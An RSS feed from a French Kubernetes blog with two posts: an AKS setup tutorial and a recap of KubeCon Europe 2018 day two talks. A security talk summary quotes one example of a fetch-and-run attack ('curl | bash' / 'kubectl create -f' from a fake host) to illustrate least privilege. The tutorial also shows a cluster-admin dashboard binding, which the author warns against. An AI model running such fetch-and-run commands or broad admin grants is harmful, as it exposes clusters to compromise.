<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>GKE on Zwindler's Reflection</title><link>https://blog.zwindler.fr/tags/gke/</link><description>Recent content in GKE on Zwindler's Reflection</description><generator>Hugo -- gohugo.io</generator><language>fr</language><copyright>Licensed under CC BY-SA 4.0</copyright><lastBuildDate>Tue, 18 Dec 2018 12:45:33 +0000</lastBuildDate><atom:link href="https://blog.zwindler.fr/tags/gke/index.xml" rel="self" type="application/rss+xml"/><item><title>J’ai testé pour vous AKS, la plateforme Kubernetes managée d’Azure</title><link>https://blog.zwindler.fr/2018/12/18/jai-teste-pour-vous-aks-la-plateforme-kubernetes-managee-dazure/</link><pubDate>Tue, 18 Dec 2018 12:45:33 +0000</pubDate><guid>https://blog.zwindler.fr/2018/12/18/jai-teste-pour-vous-aks-la-plateforme-kubernetes-managee-dazure/</guid><description>&lt;img src="https://blog.zwindler.fr/2018/12/aks.webp" alt="Featured image of post J’ai testé pour vous AKS, la plateforme Kubernetes managée d’Azure" /&gt;&lt;h2 id="aks--azure-kubernetes-service"&gt;AKS = Azure Kubernetes Service
&lt;/h2&gt;&lt;p&gt;Après EKS (Amazon) et GKE (Google) (et plein d’autres en fait), Azure a fini par lancer aussi son service managé de Kubernetes (&lt;a class="link" href="https://azure.microsoft.com/en-us/blog/introducing-azure-container-service-aks-managed-kubernetes-and-azure-container-registry-geo-replication/" target="_blank" rel="noopener"
&gt;preview en octobre 2017&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Ce service ne doit pas être confondu avec ACI (Azure Container Instances) qui est le service d’Azure CaaS, où vous pouvez instancier les containers à la demande sur les Kubernetes d’Azure, où Kubernetes vous est complètement caché.&lt;/p&gt;
&lt;p&gt;Vous verrez aussi peut être dans la littérature des références à ACS (l’ancien nom d’AKS) ou alors de &lt;a class="link" href="https://github.com/Azure/acs-engine" target="_blank" rel="noopener"
&gt;ACS-engine&lt;/a&gt;, qui est le projet utilisé par Azure pour déployer des clusters Kubernetes (sur du IaaS) pour leur besoins propres et qu’ils ont open sourcé.&lt;/p&gt;
&lt;p&gt;Il s’agit donc bien d’un service fourni par Azure, qui masque toute la complexité du déploiement des machines et des composants de Kubernetes. Vous n’aurez pas accès aux VMs, on n’est donc pas sur du IaaS. Mais contrairement à ACI, vous aurez les pleins pouvoir sur le &lt;em&gt;control plane&lt;/em&gt; de Kubernetes, et vous pourrez l’administrer comme bon vous semble.&lt;/p&gt;
&lt;h2 id="cest-vraiment-facile-à-installer-"&gt;C’est vraiment facile à installer ?
&lt;/h2&gt;&lt;p&gt;Oui, c’est vraiment simple. L’installation peut se faire depuis le portail ou en quelques commandes « az cli »&lt;/p&gt;
&lt;p&gt;Pour tout vous dire, Microsoft a même pousser le vice jusqu’à faciliter l’installation du binaire &lt;strong&gt;kubectl&lt;/strong&gt;, ainsi que la configuration de votre cluster dans les contextes (via des commandes « az cli »). Dans l’absolu, les commandes qu’on va faire ci dessous sont équivalentes à celles que j’ai décrites dans l’article &lt;a class="link" href="https://blog.zwindler.fr/2018/10/16/configurer-ses-contextes-pour-kubectl-sur-un-poste-client/" &gt;Installer kubectl et Configurer kubectl&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nice to have&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="cest-parti-"&gt;C’est parti !!
&lt;/h2&gt;&lt;p&gt;Depuis le portail, cherchez « Kubernetes services », puis cliquez sur « Add ».&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/12/aks_setup2.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;p&gt;Et si vous préférez comme moi le faire en lignes de commande, ça donne quelque chose comme ça :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;az group create --name myownkubernetescluster --location westeurope --subscription &amp;#34;mysubscription&amp;#34;
az aks create --resource-group myownkubernetescluster --name myawesomeclsuter --node-count 3 --enable-addons monitoring --node-vm-size Standard_B2s --kubernetes-version 1.10.9 --ssh-key-value ~/.ssh/mypublicsshkey.pub --subscription &amp;#34;mysubscription&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Si vous l’avez fait depuis le portail, vous verrez également une popup sur la droite pour vous aider à configurer kubectl (mais vous pouvez aussi les utiliser si vous avez monté le cluster avec les commandes précédentes aussi).&lt;/p&gt;
&lt;p&gt;Les commandes à lancer après avoir déployé le cluster sont les suivantes :&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/10/aks_login01.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;az aks install-cli
Downloading client to /usr/local/bin/kubectl from https://storage.googleapis.com/kubernetes-release/release/v1.12.0/bin/linux/amd64/kubectl
Please ensure that /usr/local/bin is in your search PATH, so the `kubectl` command can be found.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Si vous essayez de les lancer sans avoir fait votre &lt;strong&gt;az login&lt;/strong&gt;, vous aurez l’erreur suivante&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;az aks get-credentials --resource-group myownkubernetescluster --name myawesomeclsuter
Resource group &amp;#39;test_AKS&amp;#39; could not be found.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On se logue, donc&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;az login
Note, we have launched a browser for you to login. For old experience with device code, use &amp;#34;az login --use-device-code&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Comme l’indique la commande, &lt;strong&gt;az cli&lt;/strong&gt; à récemment changé de méthode d’authentification par défaut.&lt;/p&gt;
&lt;p&gt;Si vous lancez ces commandes et que vous n’avez pas d’environnement graphique (dans une petite VM par exemple), vous pouvez toujours utiliser l’ancienne méthode avec un code à recopier dans une page web avec la commande suivante :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;az login --use-device-code
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code TOTOTOTOTO to authenticate.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Dans mon cas, j’ai accès à un abonnement Visual Studio en plus de mes souscriptions habituelles.&lt;/p&gt;
&lt;p&gt;Par défaut, cette souscription est filtrée, donc &lt;strong&gt;az cli&lt;/strong&gt; continuera à ne pas « voir » le ressource group que j’aurai créé pour l’occasion. L’idéal est de l’indiquer explicitement en ajoutant un « &amp;ndash;subscription ». Une autre solution, plus simple, pour éviter le problème est de positionner cette souscription comme « par défaut »&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;az account set --subscription &amp;#34;Visual Studio&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Maintenant ça devrait marcher. On récupère les crédentials et les informations du contexte.&lt;/p&gt;
&lt;p&gt;Par défaut, &lt;strong&gt;az cli&lt;/strong&gt; va merger ces informations avec votre &lt;strong&gt;.kube/config&lt;/strong&gt; existant s’il existe. Si vous avez peur qu’il fasse des bêtises, pensez à le sauvegarder avant.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;az aks get-credentials --resource-group myownkubernetescluster --name myawesomeclsuter
/root/.kube/config has permissions &amp;#34;644&amp;#34;.
It should be readable and writable only by its owner.
Merged &amp;#34;testaksdge&amp;#34; as current context in /root/.kube/config
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/10/aks_login02.avif"
loading="lazy"
&gt;
Maintenant que l’outil &lt;strong&gt;az cli&lt;/strong&gt; a configuré notre contexte pour nous, on peut interagir avec le cluster normalement :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;kubectl get nodes
NAME STATUS ROLES AGE VERSION
aks-nodepool1-36034183-0 Ready agent 26m v1.10.9
aks-nodepool1-36034183-1 Ready agent 26m v1.10.9
aks-nodepool1-36034183-2 Ready agent 26m v1.10.9
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Lancer le « proxy » (pour afficher le dashboard et accéder à l’API)&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;az aks browse --resource-group myownkubernetescluster --name myawesomeclsuter
[...]
Proxy running on http://127.0.0.1:8001/
Press CTRL+C to close the tunnel...
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/10/aks_login03.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;h2 id="etape-supplémentaire-si-vous-avez-activé-le-rbac"&gt;Etape supplémentaire si vous avez activé le RBAC
&lt;/h2&gt;&lt;p&gt;Si vous avez activé le RBAC, &lt;strong&gt;ce que je vous conseille fortement et qui devrait être le choix par défaut&lt;/strong&gt;, votre dashboard n’aura pratiquement accès à rien !&lt;/p&gt;
&lt;p&gt;Il faut lui ajouter des droits sur le cluster. La procédure complète d’Azure &lt;a class="link" href="https://docs.microsoft.com/fr-fr/azure/aks/kubernetes-dashboard" target="_blank" rel="noopener"
&gt;vous indique la marche à suivre ici&lt;/a&gt;. Ce que eux conseillent, qui est effectivement le plus simple (mais pas le plus sage), est de donner les droits &lt;strong&gt;cluster-admin&lt;/strong&gt; au service account &lt;strong&gt;kubernetes-dashboard&lt;/strong&gt;&amp;hellip;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;kubectl create clusterrolebinding kubernetes-dashboard --clusterrole=cluster-admin --serviceaccount=kube-system:kubernetes-dashboard
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Mais attention aux conséquences ! De très nombreuses personnes laissent le dashboard ouvert sur Internet et si EN PLUS votre dashboard est admin du cluster, vous allez rapidement miner des cryptocurrencies et lancer des mails de SPAM à votre insu&amp;hellip;&lt;/p&gt;
&lt;p&gt;N’autorisez donc pas le portail depuis l’extérieur.&lt;/p&gt;
&lt;h2 id="et-après-"&gt;Et après ?
&lt;/h2&gt;&lt;p&gt;Dans le cycle de vie d’un cluster Kubernetes, deux tâches vont très vite vous intéresser. Sauvegarder vos objets (ce qu’on peut faire avec &lt;a class="link" href="https://github.com/heptio/ark" target="_blank" rel="noopener"
&gt;Ark de Heptio&lt;/a&gt;) et mettre à jour votre cluster (ce qu’on peut faire avec AKS).&lt;/p&gt;
&lt;p&gt;Ces deux points seront le focus d’articles futurs ;-)&lt;/p&gt;</description></item><item><title>Récap du deuxième jour de Kubecon Europe 2018</title><link>https://blog.zwindler.fr/2018/05/07/recap-du-deuxieme-jour-de-kubecon-europe-2018/</link><pubDate>Mon, 07 May 2018 14:00:58 +0000</pubDate><guid>https://blog.zwindler.fr/2018/05/07/recap-du-deuxieme-jour-de-kubecon-europe-2018/</guid><description>&lt;img src="https://blog.zwindler.fr/2018/05/20180502_114733_HDR-1.webp" alt="Featured image of post Récap du deuxième jour de Kubecon Europe 2018" /&gt;&lt;h2 id="deuxième-jour-de-kubecon"&gt;Deuxième jour de Kubecon
&lt;/h2&gt;&lt;p&gt;Depuis mardi soir, j’étais à Copenhague pour assister à la KubeCon + CloudNativeCon Europe 2018. Si vous n’avez pas lu mon résumé de la journée de mercredi, &lt;a class="link" href="https://blog.zwindler.fr/2018/05/03/recap-du-premier-jour-de-kubecon-europe-2018/" &gt;je vous propose d’aller le lire ici !&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Comme la veille, la journée a commencée par des Keynotes animées par Liz Rice &amp;amp; Kelsey Hightower.&lt;/p&gt;
&lt;p&gt;Attention : j’ai trouvé qu’il y avait un peu de bourrage de crâne de la part des sponsors, vous risquez de me voir râler un peu ;-)&lt;/p&gt;
&lt;h3 id="kubernetes-project-update"&gt;Kubernetes Project Update
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/b5/Kubernetes%20Project%20Update.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Keynote: Kubernetes Project Update - Aparna Sinha, Group Product Manager, Kubernetes and Google Kubernetes Engine, Google&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Dans le même style de la keynote de Liz Rice sur les évolutions dans les projets de la CNCF, cette Keynote a été l’occasion de revenir sur les fonctionnalités qui sont apparues dans les versions 1.8, 1.9 et plus récemment 1.10.&lt;/p&gt;
&lt;p&gt;Forcément, en 3 releases, le nombre de fonctionnalités sur un projet de cette ampleur est forcément impressionnant. On peut noter l’ajout des &lt;strong&gt;Cronjobs&lt;/strong&gt;, du support du &lt;strong&gt;Machine Learning&lt;/strong&gt;, du fait Kubernetes peut agir en tant qu’orchestrateur pour des &lt;strong&gt;workload Spark et l’operator Spark&lt;/strong&gt; (ceci à d’ailleurs fait l’objet d’une démo en live dans laquelle ont été comptés les mots dans l’oeuvre de shakespeare).&lt;/p&gt;
&lt;p&gt;Sur l’aspect sécurité, Aparna Sinha a lourdement insisté &lt;a class="link" href="https://github.com/google/gvisor" target="_blank" rel="noopener"
&gt;sur gvisor que Google a open sourcé&lt;/a&gt; dans le cadre de la conférence (micro kernel en userland permettant de ne pas exécuter les containers directement sur le kernel de l’hôte). On en a déjà eu une couche hier, et des confs étaient prévues dans la journée&amp;hellip;&lt;/p&gt;
&lt;p&gt;Des progrès ont également été fait avec l’introduction de la &lt;strong&gt;CSI (container storage interface)&lt;/strong&gt;, qui, comme la &lt;strong&gt;CNI&lt;/strong&gt; a pour but d’uniformiser la gestion du stockage via des extensions dans Kubernetes.&lt;/p&gt;
&lt;p&gt;Et Mme Google d’en remettre une couche pour dire à quel point ils sont sympa d’avoir open sourcé un bout de code dans Prometheus pour permettre à vos Prometheus &lt;em&gt;on premise&lt;/em&gt; de streamer les data vers le cloud (Google Cloud au hasard ?). Pour vous faciliter la vie et avoir tout dans un même endroit bien sûr ;).&lt;/p&gt;
&lt;h3 id="accelerating-kubernetes-native-applications"&gt;Accelerating Kubernetes Native Applications
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/49/BRANDON%20PHILIPS.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Keynote: Accelerating Kubernetes Native Applications - Brandon Philips, CTO of CoreOS, Red Hat&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Brandon Philips de CoreOS (racheté depuis peu par RedHat) est venu nous parler des Operators, ou comment étendre Kubernetes de manière propre. CoreOS est depuis longtemps impliquée dans le développement d’extensions de Kubernetes, notamment parce Tectonic en proposait 2 (les operators etcd &amp;amp; prometheus).&lt;/p&gt;
&lt;p&gt;Concrètement, on étend l’API de Kubernetes en créant de nouveaux objets logiques, ce qui nous permet de piloter des logiciels tiers comme s’ils faisaient partie du cluster.&lt;/p&gt;
&lt;p&gt;Pour continuer dans cette veine, CoreOS a mis à disposition un Framework, « l’Operator framework », dont le but est de faciliter la création des operators par des sociétés/projets tiers.&lt;/p&gt;
&lt;p&gt;Bel effort, il faudra voir si ça prend ou pas.&lt;/p&gt;
&lt;h3 id="rex-du-financial-times"&gt;REX du Financial times
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/97/SARAH%20KubeconEurope2018_final.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Keynote: Switching Horses Midstream: The Challenges of Migrating 150+ Microservices to Kubernetes - Sarah Wells, Technical Director for Operations and Reliability, Financial Times&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un REX très agréable et très bien présenté par Sarah Wells. Le Financial Times, comme beaucoup de compagnies, fait de l’IT de pointe, non pas parce que c’est son coeur de métier, mais par nécessité.&lt;/p&gt;
&lt;p&gt;Quand ils sont passés sous Docker en 2015, le moins que l’on puisse dire c’est que la peinture n’était pas encore complètement fraîche, et une solution maison a du être montée pour répondre aux besoins. Et quand courant 2016, l’ensemble de la core-team qui a passé la production sous Docker est partie d’un coup, il a fallu faire face et trouver une solution.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Choose boring technology&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Fin 2016, les équipes en places ont donc considérés les alternatives, ont décidés que Kubernetes étaient le leader émergents avec le plus de chances de devenir le standard de facto (bien vu) et banco.&lt;/p&gt;
&lt;p&gt;Enfin, banco, c’est vite dit !&lt;/p&gt;
&lt;p&gt;Une grosse partie de la Keynote a justement gravité autour du fait qu’il n’est pas si facile de migrer des centaines de microservices en production d’une solution maison basée sur Docker à un orchestrator comme Kubernetes !&lt;/p&gt;
&lt;p&gt;Quelques questions/réflexions qu’ils ont du se poser. J’en ai noté quelques unes :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;How do you work in parallel (separate branches or if/else in code) ?&lt;br&gt;
Separate deployment mechanisms vs a single one ?&lt;br&gt;
On which branch must I do the testing ?&lt;br&gt;
Making sure a service will recover if k8s moves it elsewhere&lt;br&gt;
It’s easy to get sucked into making things better&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="shaping-the-cloud-native-future"&gt;Shaping the cloud native future
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: Shaping the Cloud Native Future - Abby Kearns, Executive Director, Cloud Foundry Foundation&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Sincèrement, je n’ai pas compris le message. J’ai juste noté ça :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cloud native&lt;br&gt;
Cloud everything&lt;br&gt;
Interoperability &amp;amp; Velocity &amp;amp; Innovation&lt;br&gt;
On peut faire tout ça avec Cloud Foundry et l’armée de l’air des états unis économise plein d’argent grâce à nous&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="skip-the-anxiety-attack---build-secure-apps-with-kubernetes"&gt;Skip the Anxiety Attack - Build Secure Apps with Kubernetes
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: Skip the Anxiety Attack - Build Secure Apps with Kubernetes - Jason McGee, Fellow, IBM&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Kubernetes est un composant majeur pour vos cloud native apps, qui s’intègre nativement dans les processus de types CI/CD, offre une infrastructure flexible, permet de gérer la sécurité&amp;hellip;&lt;/p&gt;
&lt;p&gt;En plus de ça dans notre super cloud on peut ajouter traquer les vulnérabilités de vos containers, on a du TXT intel et du istio.io, blablabla&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="softwares-community"&gt;Software’s community
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: Software’s Community - Dave Zolotusky, Software Engineer, Spotify&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;On sort un peu du marketing mal déguisé et on repasse sur un REX, celui de Spotify !&lt;/p&gt;
&lt;p&gt;Plutôt que de faire encore un talk sur leur migration vers K8s et les problèmes qu’ils ont rencontrés, Dave Zolotusky a préféré faire un talk sur ce que leur a apporté la communauté open source et pourquoi il faut contribuer.&lt;/p&gt;
&lt;p&gt;Concrètement, Dave venait du monde &lt;em&gt;closed source&lt;/em&gt;, avec des supports payant pour chacun des progiciels en production.&lt;/p&gt;
&lt;p&gt;Depuis qu’il est chez Spotify et leur migration vers K8s et l’écosystèmes opensource qui gravite autour, à chaque fois qu’ils ont rencontrés un problème complexe, ils se sont tournés vers la communauté et à leur plus grande surprise, ont trouvé rapidement quelqu’un pour les aider.&lt;/p&gt;
&lt;p&gt;Que ce soit faire des &lt;strong&gt;Ingress cross namespaces&lt;/strong&gt; ou les problèmes qu’ils ont pu rencontrer en les configurant, ou encore quand ils ont configurés leurs Prometheus, il y avait toujours un dev sur Slack ou un pair de la CNCF pour leur répondre.&lt;/p&gt;
&lt;p&gt;Certes, ce talk est un peu &lt;em&gt;bateau&lt;/em&gt; dans une conf autour de projets open sources, mais ça fait toujours du bien à entendre, surtout venant d’une société (1) relativement connue, (2) dont ce n’est pas le cœur de métier.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We are all facing the same problems. And even if you’re THAT guy that has a problem no one else has, please share it. Others may look up to you when they’ll face the same problem later.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="et-cest-reparti-pour-le-multi-track"&gt;Et c’est reparti pour le multi-track
&lt;/h2&gt;&lt;h3 id="applying-least-privileges-through-kubernetes-admission-controllers"&gt;Applying least privileges through Kubernetes admission controllers
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://kccnceu18.sched.com/event/EgBG/applying-least-privileges-through-kubernetes-admission-controllers-benjy-portnoy-aqua-security-intermediate-skill-level" target="_blank" rel="noopener"
&gt;&lt;em&gt;Applying Least Privileges through Kubernetes Admission Controllers - Benjy Portnoy, Aqua Security&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Benjy Portnoy a fait quelques rappels de sécurités sur tout bon cluster Kubernetes.&lt;/p&gt;
&lt;p&gt;Même si les recommandation sont un peu « obvious », ça fait toujours du bien de rappeler pourquoi il faut le faire (et le faire ;p).&lt;/p&gt;
&lt;p&gt;Privilèges minimum pour tous les utilisateurs, autant sur les objets (limiter à des types d’objets, mais limiter aussi les actions qui peuvent être faites sur cet objet). Ça permet de limiter l’impact de l’erreur humaine ou de l’attaque de type social engineering du type :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;curl | bash // kubectl create -f http://fakeapp.example.org.yaml
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Benjy a rapidement rappelé qu’il existe un certain nombre de bonnes pratiques qui sont tout simplement décrites dans la documentation officielle de Kubernetes : authentification RBAC, segmentation des réseaux, &lt;strong&gt;PodSecurityPolicy&lt;/strong&gt;, chiffrement des Secrets, enregistrement de tout ce qui se passe sur le cluster à des fins d’audit, &amp;hellip;&lt;/p&gt;
&lt;p&gt;Mais le focus du talk a surtout été l’utilisation des &lt;strong&gt;AdmissionControllers&lt;/strong&gt;, avec plusieurs exemples :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allways pull images&lt;/li&gt;
&lt;li&gt;Deny escalating exec&lt;/li&gt;
&lt;li&gt;Pod security policy&lt;/li&gt;
&lt;li&gt;Node restriction&lt;/li&gt;
&lt;li&gt;Resource quota&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Les possibilités de sécurisations sont infinies et ça nécessite d’y passer du temps car ce n’est pas « built-in » ;-).&lt;/p&gt;
&lt;p&gt;Pour finir, Benjy a listé quelques outils permettant d’auditer soit même son cluster ou ses pods. A tester !&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/aquasecurity/kube-bench" target="_blank" rel="noopener"
&gt;Kube-bench&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;kubehunter (pas encore public)&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://kubesec.io/" target="_blank" rel="noopener"
&gt;kubesec.io&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://web.archive.org/web/20210804215839/https://blog.aquasec.com/microscanner-free-image-vulnerability-scanner-for-developers" target="_blank" rel="noopener"
&gt;Microscanner&lt;/a&gt; (ajouter 2 lignes dans tous les Dockerfiles pour avoir un retour sur la sécurité des images sous-jacentes)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="kubevisor"&gt;Kubevisor
&lt;/h3&gt;&lt;p&gt;J’avais prévu d’aller voir « &lt;a class="link" href="https://kccnceu18.sched.com/event/Dqus/understanding-distributed-consensus-in-etcd-and-kubernetes-laura-frank-codeship-intermediate-skill-level" target="_blank" rel="noopener"
&gt;&lt;strong&gt;Understanding Distributed Consensus in etcd and Kubernetes&lt;/strong&gt;&lt;/a&gt;« , mais, joie des confs multitrack, il n’y avait plus de place dans l’amphi et je me suis fait refouler ! Dommage, j’avais vraiment envie de mieux comprendre &lt;strong&gt;etcd&lt;/strong&gt;, qui pour beaucoup est une bonne grosse boite noire, ce qui est gênant vu le rôle central qu’il joue dans K8s&amp;hellip; Je suis donc allé dans l’amphi d’à côté pour voir :&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/e8/%5Bkubecon%5D%5BKopenhagen-2018%5D%20Kubervisor.pdf" target="_blank" rel="noopener"
&gt;Pod Anomaly Detection and Eviction using Prometheus Metrics - David Benque &amp;amp; Cedric Lamoriniere, Amadeus&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Deux personnes de chez Amadeus (avec un accent bien Français ;p) nous ont présentés les problématiques posées par le loadbalancing d’applications fortement dépendantes les unes des autres.&lt;/p&gt;
&lt;p&gt;Le pitch du talk était qu’un loadbalancing basique ne permet pas, dans ce genre de cas, d’éviter un effet papillon (un noeud défectueux provoque une panne en cascade). Pour améliorer leur stabilité, les ingénieurs chez Amadeus ont donc recours aux techniques suivantes :&lt;/p&gt;
&lt;p&gt;Pour toutes les commnucations inter-microservices, l’utilisation d’un service mesh (Linkerd, istio.io), permettant un loadbalancing plus intelligent, avec des circuit breaker avec du routage intelligent et des fonctionnalités de type open/close/half-open en cas de défaillance.&lt;/p&gt;
&lt;p&gt;Pour limiter l’impact d’une panne, ce service mesh leur permet aussi de prendre des décisions en fonction de signaux techniques (consommation mémoire, nombre de connexions).&lt;/p&gt;
&lt;p&gt;Cependant, les produits existants ne répondaient toujours pas à l’ensemble de leur problématiques, et ils ont donc  présenté &lt;strong&gt;Kubevisor&lt;/strong&gt;, une solution de détection d’anomalies dans les &lt;strong&gt;Pods&lt;/strong&gt;, qui permet entre autre de gérer directement dans Kubernetes des notions de « circuit breaking » par application et avec des règles complet (une partie breaker, une partie activator) via des CRD (custom resources definitions).&lt;/p&gt;
&lt;h3 id="101-ways-to-break-and-recover-kubernetes-clusters"&gt;101 ways to Break and Recover Kubernetes Clusters
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/b2/%E2%80%9CBreak%20and%20Recover%E2%80%9D%20Kubernetes%20Cluster%20and%20Application.pdf" target="_blank" rel="noopener"
&gt;101 Ways to “Break and Recover” Kubernetes Cluster - Suresh Visvanathan &amp;amp; Nandhakumar Venkatachalam, Oath (Yahoo) &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Deux personnes de chez Oath (Ex Yahoo) nous ont fait une liste à la Prévert de tous les problèmes qu’ils ont rencontré en production, et les mécanismes qu’ils ont mis en place pour éviter que ça se reproduise.&lt;/p&gt;
&lt;p&gt;Si l’intention était bonne, la présentation était très rapide et un peu décousue (trop de cas, on passait trop rapidement d’une slide à l’autre).&lt;/p&gt;
&lt;p&gt;Quelques cas qui ont retenu mon attention :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Un ingénieur qui exécute « &lt;strong&gt;kubectl delete -f /dir&lt;/strong&gt; » et qui supprime par erreur un namespace. Un des méthoes pour éviter ça est d’utiliser un &lt;strong&gt;Admission controller&lt;/strong&gt; pour interdire la suppression d’un namespace s’il reste des objets dedans.&lt;/li&gt;
&lt;li&gt;Deux &lt;strong&gt;Ingress&lt;/strong&gt; déclarent le même alias (on se retrouve donc avec un genre de loadbalancing chelou qui bascule une requête sur deux sur des services qui n’ont rien à voir). Là encore, le plus simple est d’utiliser un &lt;strong&gt;Admission controller&lt;/strong&gt; pour éviter que ça n’arrive.&lt;/li&gt;
&lt;li&gt;Suite à un bug sur les cgroup, tous les nœuds sont passés « Not ready » (alors que les pods fonctionnaient toujours) et ont supprimé tous les pods (eviction queue). Il existe un « Partial Disruption mode », qui permet d’éviter de tout supprimer alors que les nodes ?&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="digital-ocean"&gt;Digital ocean
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/15/Global%20Container%20Networks%20-%20KubeCON%20EU%202018.pdf" target="_blank" rel="noopener"
&gt;_Global Container Networks on Kubernetes at DigitalOcean - Andrew Sy Kim, DigitalOcean _&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un talk bien costaud sur la façon dont Digital Ocean utilise **&lt;em&gt;BGP&lt;/em&gt; **comme couche d’abstraction réseau pour Kubernetes.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Wait&amp;hellip; what ?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Au début, j’étais un peu sceptique aussi. Leur problème initial était que dans leur cas, les abstractions de réseau existantes étaient :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;trop lentes pour certaines applications (overhead, latence)&lt;/li&gt;
&lt;li&gt;Le NAT/masquerading des IPs des pods empêche les développeurs de connaitre
&lt;ul&gt;
&lt;li&gt;dans le pod, l’adresse de la source&lt;/li&gt;
&lt;li&gt;depuis un client, l’adresse IP du pod qui a répondu&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Au final, l’utilisation de BGP (pas détourné, mais peu commun on va dire) pour fournir un plan d’adressage global, aussi bien pour leurs serveurs physiques que pour leurs pods dans &lt;strong&gt;tous leurs DCs&lt;/strong&gt; permet à Digital Océan d’avoir un réseau virtuel performance et d’avoir une IP accessible de manière globale pour chaque pod.&lt;/p&gt;
&lt;p&gt;Au delà de la partie peering des équipements et des serveurs dans le DC (intéressant), il existe une implémentation de BGP pour Kuernetes (&lt;a class="link" href="https://github.com/cloudnativelabs/kube-router" target="_blank" rel="noopener"
&gt;Kube-router&lt;/a&gt;) qui support eBGP/iBGP, le peering automatique BGP pour les services et les pods.&lt;/p&gt;
